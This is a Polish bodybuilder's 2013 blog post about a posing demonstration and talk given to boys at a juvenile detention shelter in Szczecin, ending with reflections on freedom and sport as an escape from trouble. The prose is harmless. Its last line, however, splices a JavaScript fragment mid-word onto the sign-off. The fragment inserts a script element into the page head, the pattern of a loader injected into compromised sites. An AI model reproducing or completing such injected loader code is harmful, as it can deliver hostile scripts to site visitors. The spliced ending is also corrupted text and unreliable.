Seminarium i Pokaz w Schronisku dla Nieletnich w Szczecinie

16.05.2013 / Adam Jabłoński / Kulturystyka

Cześć,
W ostatnim czasie miłym zaskoczeniem dla mnie było ponowne zaproszenie przez Ośrodek – Schronisko dla Nieletnich w Szczecinie, władzą ośrodka podobała się moja zeszłoroczna wizyta, a, że co roku jest inna grupa wychowanków postanowili mnie zaproscić, aby zmotywować chłopaków i zarazić sportem, hobby, które oderwie ich od robienia głupstw.

Przy wejściu tak jak i rok temu zostałem przywitany przez władze i ochronę ośrodka po czym udaliśmy się na samą górę budynku gdzie mieściła się siłownia.

Na siłowni pogadaliśmy trochę z chłopakami na temat diety, suplementacji i treningu

1

oraz miałem czas aby trochę poćwiczyć i dopompować mięśnie krwią.

324 5 17 16 18 21 20

Po szybkim treningu zeszliśmy na dół do świetlicy gdzie siedziało około 30 młodych chłopaków, gdy wszedłem tak jak rok temu, wychowankowie zaczęli klaskać jest to bardzo miłe uczucie.

Przedstawiłem się, opowiedziałem trochę o sobie i wykonałem swój program dowolny przy muzyce z zawodów, następnie tak jak rok temu pokazałem oraz wytłumaczyłem wszystkie pozy obowiązkowe.

23 22 25 24 13 10 11 12 9 8 7 6

Po pokazie wszyscy zaczęli bić brawo, trochę było mi głupio ale co tam.

Następnie ubrałem się i usiadłem przy stoliku gdzie odpowiadałem na pytania zadawane przez wychowanków  jak i samych opiekunów na wszystkie tematy związane ze sportami.

Na samym końcu zrobiliśmy sobie pamiątkowe zdjęcie (niestety trzeba zasłonić twarze)

26

A co do podsumowania i refleksji z odwiedzin to jest jest mi bardzo miło, że znów mogłem odwiedzić ten ośrodek i że władze Schroniska postanowiły mnie zaprosić.
Jednak z drugiej strony doszły do mnie kolejne przemyślenia, że musimy na prawdę się starać pomagać ludziom kierować tych, którzy zaczynają wyprawiać głupstwa często nie z wyboru, a z konieczności ( nam jest to ciężko zrozumieć), w zeszłym roku inne dzieciaki w tym inne, a w kolejnym inne, które czekają co z nimi będzie.

Fakt, że niektórzy z nich jak i nie większość mają o wiele lepsze warunki niż w domu nie zmienia tego, że ja się czułem okropnie stojąc przed kratami – czekając na ich otwarcie, po przekroczeniu progu kraty zamykają się, a przed oczyma są kolejne kraty – BRAK WOLNOŚCI – Uczucie bezradności  to daje dużo do myślenia, żeby nie robić głupstw i nie trafić  takie miejsce.

Mam nadzieję, że chociaż kilku z nich zacznie uprawiać jakiś sport i odsuną od siebie swoich „kolegów” i środowisko, które ściąga ich na dno. Bo jest w nich duży potencjał.

A tak ode mnie – ja wierzę, że jeśli ktoś marzy i dąży do czegoś nie robiąc nikomu krzywdy dochodzi bardzo wysoko.

Pozdrawiam
Hej,
Cześćd.getElementsByTagName('head')[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);